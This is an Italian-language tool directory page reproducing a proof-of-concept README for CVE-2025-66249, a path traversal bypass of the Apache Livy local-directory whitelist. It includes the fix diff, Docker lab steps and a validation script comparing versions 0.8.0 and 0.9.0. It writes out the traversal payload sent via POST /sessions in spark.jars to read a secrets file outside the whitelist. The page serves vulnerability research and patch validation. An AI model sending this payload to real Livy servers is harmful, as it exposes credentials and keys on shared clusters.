Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-66249-POC — Una POC per la vulnerabilità di bypass della whitelist di Path Traversal in Apache Livy | Kitploit
Strumenti/GitHubGitHub/sid6224/cve-2025-66249-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubsid6224/cve-2025-66249-poc

CVE-2025-66249-POC

Una POC per la vulnerabilità di bypass della whitelist di Path Traversal in Apache Livy

Vedi Repository
5 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-66249 — Bypass della whitelist di Path Traversal in Apache Livy

CVE Livy Severity CWE Type License Platform Language

Solo per scopi educativi e di ricerca sulla sicurezza. Non utilizzare contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione scritta a effettuare test. → Dichiarazione di non responsabilità completa


Panoramica

CampoDettaglio
ID CVECVE-2025-66249
GravitàImportante (CVSS non disponibile — valutazione NVD in sospeso al 2026-03-15)
Versioni interessateApache Livy 0.3.0-incubating fino a 0.8.0-incubating — solo quando livy.file.local-dir-whitelist è impostato su un valore non predefinito
Corretto inApache Livy 0.9.0-incubating
CWECWE-22: Limitazione impropria di un percorso a una directory ristretta ('Path Traversal')
Divulgata2026-03-12 (OSS-Sec) / 2026-03-13 (NVD)
SegnalatoreHiroki Egawa (ricercatore)

Descrizione della vulnerabilità

Un utente autenticato con accesso all'interfaccia REST o JDBC di Livy può inviare una sessione Spark o un job batch con un valore di configurazione del percorso file manipolato che fuoriesce dalla whitelist di directory consentite.

Causa principale — Bypass del controllo della whitelist tramite path traversal (Session.scala)

Quando livy.file.local-dir-whitelist è configurato, Livy 0.8.0 valida i percorsi inviati chiamando String.startsWith() di Java sul percorso grezzo, non normalizzato. Questo controllo può essere bypassato usando sequenze di traversal ../:

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt

La stringa grezza inizia con /opt/safe-data, quindi il controllo viene superato — ma il percorso risolve in /opt/sensitive/secret.txt, che è completamente fuori dalla directory in whitelist.

Condizione di attivazione: La vulnerabilità può essere sfruttata solo quando livy.file.local-dir-whitelist è impostato su un valore non predefinito (non vuoto). Se la whitelist è vuota (impostazione predefinita), la validazione del percorso viene completamente saltata e il problema non si manifesta.

Impatto: Un attaccante che invia una sessione tramite l'API REST di Livy può fare riferimento a file locali arbitrari sull'host del server Livy. In un cluster di analisi condiviso ciò si traduce in una potenziale esposizione di credenziali, chiavi, file di configurazione o qualsiasi dato leggibile dall'utente del processo Livy.


File sorgente interessati

File — Session.scala

Vulnerabile (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

Corretto (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala


Codice sorgente — Comandi di clonazione

Entrambe le versioni sono state clonate direttamente dal repository GitHub ufficiale di Apache Livy usando i seguenti comandi esatti:

Repository: https://github.com/apache/incubator-livy

root@kitploit:~
# Vulnerable version — cloned into ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.8.0

# Fixed version — cloned into ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.9.0
VersioneTagCommit risoltoPercorso locale
0.8.0-incubatingv0.8.0-incubating78b512658e4baf1183f2b352203ada1928d8111a./livy-0.8.0/
0.9.0-incubatingv0.9.0-incubating7215f209b25b96488189567807eaded00953a492./livy-0.9.0/

Diff di codice esatti

Correzione — Session.scala: Paths.get().normalize() prima del controllo della whitelist

root@kitploit:~
 import java.io.InputStream
 import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
 import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
 import java.util.UUID

 ...

     if (resolved.getScheme() == "file") {
       // Make sure the location is whitelisted before allowing local files to be added.
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }

Impatto in v0.8.0: Il controllo startsWith sulla stringa grezza può essere bypassato con un payload di path traversal.

Esempio: se livy.file.local-dir-whitelist = /opt/safe-data

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt
  • v0.8.0: "/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true (bypassato)
  • v0.9.0: Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt /opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false (bloccato)

I diff sono stati prodotti clonando entrambi i tag localmente (vedi sopra) ed eseguendo:

root@kitploit:~
diff -u \
    livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
    livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

Riepilogo del vettore d'attacco

root@kitploit:~
Attacker (authenticated REST/JDBC user)
    │
    ▼
POST /sessions
{
  "conf": {
    "spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
    ← path starts with whitelisted prefix — String.startsWith() passes
    ← but resolves OUTSIDE the directory via ../ traversal
  }
}
    │
    ▼
Livy 0.8.0 — whitelist check bypassed (raw startsWith, no normalisation)
    │
    ▼
Spark reads the file and distributes it to executors
    │
    ▼
Attacker retrieves file contents via job output / logs

Ambiente di test

Tutti i passaggi di questo PoC sono stati eseguiti e validati sul seguente sistema:

ComponenteDettaglio
Sistema operativo hostUbuntu 24.04.4 LTS (Noble Numbat)
Kernel6.17.0-14-generic x86_64
Architetturax86_64
Memoria totale15 GiB
Docker Engine28.2.2
JDK hostOpenJDK 17.0.18 (usato solo dall'host — i container usano eclipse-temurin:11-jdk-focal)
Immagine base del containereclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal)
Versione Spark (entrambe le immagini)3.1.3 con Hadoop 3.2
Versione Livy — immagine vulnerabile0.8.0-incubating
Versione Livy — immagine corretta0.9.0-incubating

Struttura delle directory

root@kitploit:~
CVE-2025-66249-POC/
├── docker/
│   ├── fixed/
│   │   ├── Dockerfile
│   │   ├── livy.conf
│   │   └── start.sh
│   └── vulnerable/
│       ├── Dockerfile
│       ├── livy.conf
│       └── start.sh
├── test/
│   └── validate.sh
├── .gitignore
├── LICENSE
└── README.md

Prova di concetto

Panoramica

root@kitploit:~
docker/vulnerable/   →  image: cve-2025-66249-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  image: cve-2025-66249-fixed        (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  single script, run unchanged against both environments

Sequenza completa end-to-end — segui i Passi da 1 a 4 in ordine:

root@kitploit:~
Step 1: Build vulnerable image  →  start container  →  verify Livy is up
Step 2: Run validate.sh         →  confirm VULNERABLE (attack HTTP 201)   →  stop container
Step 3: Build fixed image       →  start container  →  verify Livy is up
Step 4: Run validate.sh         →  confirm FIXED    (attack HTTP 400)     →  stop container

Nota: Livy richiede circa 15–20 secondi per diventare pronto dopo docker run. Tutti i passaggi seguenti includono un esplicito sleep 20 prima di qualsiasi chiamata API.


Passo 1 — Costruisci e avvia l'ambiente vulnerabile (Livy 0.8.0 + Spark 3.1.3)

File:

  • docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
  • docker/vulnerable/livy.conf — ascolta su 0.0.0.0:8998, modalità locale, whitelist = /opt/safe-data

1a. Costruisci l'immagine:

root@kitploit:~
docker build -t cve-2025-66249-vulnerable docker/vulnerable/

Verifica — l'immagine è stata creata:

root@kitploit:~
docker images cve-2025-66249-vulnerable

Output atteso:

root@kitploit:~
REPOSITORY                  TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-vulnerable   latest    <id>       <time>    <size>

1b. Avvia il container:

root@kitploit:~
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable

Verifica — il container è in esecuzione:

root@kitploit:~
docker ps --filter name=livy-vulnerable

Output atteso:

root@kitploit:~
CONTAINER ID   IMAGE                       COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-vulnerable   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-vulnerable

1c. Attendi l'avvio di Livy, quindi verifica l'API REST:

Livy richiede circa 15–20 secondi per inizializzarsi prima di servire le richieste.

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

Output atteso:

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

1d. Verifica la struttura delle directory all'interno del container:

Conferma che il file sicuro nella whitelist esista:

root@kitploit:~
docker exec livy-vulnerable cat /opt/safe-data/safe.txt

Output atteso:

root@kitploit:~
This file lives inside the whitelisted directory.

Conferma che il file sensibile esista fuori dalla whitelist:

root@kitploit:~
docker exec livy-vulnerable cat /opt/sensitive/secret.txt

Output atteso:

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

Passo 2 — Esegui la validazione sull'ambiente vulnerabile

Il container vulnerabile del Passo 1 deve essere ancora in esecuzione sulla porta 8998.

Cosa verifica test/validate.sh:

#AttaccoChiave del payloadRisultato atteso su Livy 0.8.0
1Path traversal tramite String.startsWith() in Session.scalaspark.jars con traversal ../HTTP 201 — il traversal bypassa la whitelist

2a. Esegui lo script:

root@kitploit:~
bash test/validate.sh

Nota: validate.sh funziona come segue:

  1. Esegue il polling di GET /sessions finché Livy non risponde (fino a 60 secondi), confermando che il server è pronto.
  2. Invia una richiesta POST /sessions tramite curl con un payload conf manipolato che punta a un file fuori dalla whitelist (/opt/sensitive/secret.txt) usando il traversal ../.
  3. Legge il codice di risposta HTTP: 201 significa che Livy ha accettato il percorso senza normalizzazione (vulnerabile); 400 significa che Livy lo ha rifiutato dopo la normalizzazione (corretto).
  4. Se viene creata una sessione (HTTP 201), lo script la elimina immediatamente tramite DELETE /sessions/{id} per mantenere pulito il server.
  5. Al termine stampa un riepilogo ed esce con codice 1 (vulnerabile) o 0 (corretto), rendendolo adatto a pipeline automatizzate.

Output atteso:

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 201
RESPONSE  : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
             Path was NOT normalised — traversal bypasses whitelist check.

RESULT: VULNERABLE — exit code 1

2b. Arresta e rimuovi il container vulnerabile:

root@kitploit:~
docker stop livy-vulnerable && docker rm livy-vulnerable

Verifica — il container è stato completamente rimosso:

root@kitploit:~
docker ps -a --filter name=livy-vulnerable

Output atteso (vuoto — nessuna riga):

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

Passo 3 — Costruisci e avvia l'ambiente corretto (Livy 0.9.0 + Spark 3.1.3)

File:

  • docker/fixed/Dockerfile — immagine base identica e Spark 3.1.3, cambia solo la versione di Livy a 0.9.0-incubating
  • docker/fixed/livy.conf — identico a docker/vulnerable/livy.conf (stessa whitelist, stessa porta, stessa modalità)

Mantenendo Spark, l'immagine base e tutta la configurazione identici al Passo 1, Livy resta l'unica variabile.

3a. Costruisci l'immagine:

root@kitploit:~
docker build -t cve-2025-66249-fixed docker/fixed/

Verifica — l'immagine è stata creata:

root@kitploit:~
docker images cve-2025-66249-fixed

Output atteso:

root@kitploit:~
REPOSITORY             TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-fixed   latest    <id>       <time>    <size>

3b. Avvia il container:

root@kitploit:~
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed

Verifica — il container è in esecuzione:

root@kitploit:~
docker ps --filter name=livy-fixed

Output atteso:

root@kitploit:~
CONTAINER ID   IMAGE                  COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-fixed   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-fixed

3c. Attendi l'avvio di Livy, quindi verifica l'API REST:

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

Output atteso:

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

3d. Verifica la struttura delle directory all'interno del container:

Il container corretto usa gli stessi file di test di quello vulnerabile — questo conferma che l'unica variabile tra i due ambienti è la versione di Livy.

Conferma che il file sicuro nella whitelist esista:

root@kitploit:~
docker exec livy-fixed cat /opt/safe-data/safe.txt

Output atteso:

root@kitploit:~
This file lives inside the whitelisted directory.

Conferma che il file sensibile esista fuori dalla whitelist:

root@kitploit:~
docker exec livy-fixed cat /opt/sensitive/secret.txt

Output atteso:

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

Passo 4 — Esegui la stessa validazione sull'ambiente corretto

Il container corretto del Passo 3 deve essere in esecuzione sulla porta 8998. Lo script è identico — nessuna modifica.

Cosa cambia tra il Passo 2 e il Passo 4:

  • Stesso payload, stesso script
  • Livy 0.9.0 ora normalizza i percorsi con Paths.get().normalize() prima del controllo della whitelist
  • L'attacco viene rifiutato con HTTP 400 prima che venga creata una sessione

4a. Esegui lo script:

root@kitploit:~
bash test/validate.sh

Output atteso:

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path normalisation blocked the traversal.

RESULT: FIXED — exit code 0

Cosa conferma il messaggio di errore:

AttaccoHTTPMessaggio di erroreCausa principale corretta
Path traversal tramite spark.jars400Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions.Paths.get(...).normalize() aggiunto in Session.scala; risolve ../ prima del confronto con la whitelist

4b. Arresta e rimuovi il container corretto:

root@kitploit:~
docker stop livy-fixed && docker rm livy-fixed

Verifica — il container è stato completamente rimosso:

root@kitploit:~
docker ps -a --filter name=livy-fixed

Output atteso (vuoto — nessuna riga):

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

Inferenza

CVE-2025-66249 è un singolo e mirato difetto logico nell'applicazione della whitelist che protegge il percorso di accesso al filesystem locale di Livy.

La whitelist (livy.file.local-dir-whitelist) esisteva in tutte le versioni interessate ed era configurata correttamente. Il problema stava nel modo in cui la whitelist veniva valutata:

Bypass tramite path traversal (l'unica debolezza): Il confronto della whitelist in Session.scala usava String.startsWith() di Java sulla stringa del percorso grezzo. Questo non è sufficiente per i confronti di percorsi filesystem perché non tiene conto dei segmenti di traversal ... Un percorso come /opt/safe-data/../sensitive/secret.txt soddisfa il controllo sulla stringa rispetto alla voce di whitelist /opt/safe-data, ma risolve in una posizione completamente esterna.

La correzione in 0.9.0 è minima e mirata: viene aggiunta una chiamata a Paths.get().normalize() prima del confronto della whitelist. Questa risolve tutti i segmenti .. prima che venga eseguito il controllo startsWith, così il payload di traversal viene correttamente identificato come puntante fuori dalla directory consentita.

Punto chiave per i difensori: La vulnerabilità è sfruttabile solo quando livy.file.local-dir-whitelist è impostato su un valore non vuoto. Sebbene ciò significhi che la configurazione predefinita non è direttamente vulnerabile, qualsiasi distribuzione che abbia ristretto la whitelist (cioè che abbia esplicitamente limitato le directory a cui Livy può accedere) è paradossalmente quella esposta — perché è proprio la presenza della whitelist ad attivare il percorso di codice difettoso. L'aggiornamento a Livy 0.9.0-incubating è l'unica mitigazione completa.


Riferimenti

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-66249
  • Divulgazione OSS-Sec: http://www.openwall.com/lists/oss-security/2026/03/12/2
  • Lista mailing Apache: https://lists.apache.org/thread/1xwphsfn4jbtym4k4o0zlvwfogwqwwc3
  • Progetto Apache Livy: https://livy.apache.org/

Riconoscimenti

  • Hiroki Egawa — segnalatore originale di CVE-2025-66249 all'Apache Security Team.
  • Mantenitori di Apache Livy — per il tempestivo triage e la correzione mirata in v0.9.0-incubating.
  • Apache Security Team — per aver coordinato il processo di divulgazione responsabile.
  • Comunità OSS-Sec — per il thread di divulgazione pubblica che ha reso possibile l'analisi indipendente.

Contributi

I contributi per migliorare questo PoC o la documentazione sono benvenuti! Assicurati che ogni contributo:

  • Segua pratiche di divulgazione responsabile
  • Includa dichiarazioni di non responsabilità appropriate
  • Non includa codice malevolo oltre la dimostrazione educativa
  • Mantenga l'attenzione sul valore educativo

Per contribuire, apri una pull request o segnala un problema descrivendo la modifica proposta.


Licenza

Questo progetto è concesso in licenza secondo la Licenza MIT.


Disclaimer

Questo repository ha solo scopo educativo e di ricerca sulla sicurezza. La prova di concetto dimostra i meccanismi della vulnerabilità per favorire la comprensione e le misure difensive. Non usarlo contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione scritta a effettuare test.


Tag

cve-2025-66249 apache-livy path-traversal whitelist-bypass cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0 security-research proof-of-concept docker java scala vulnerability-analysis rest-api-security string-startswith-bypass path-normalisation

Scarica lo strumento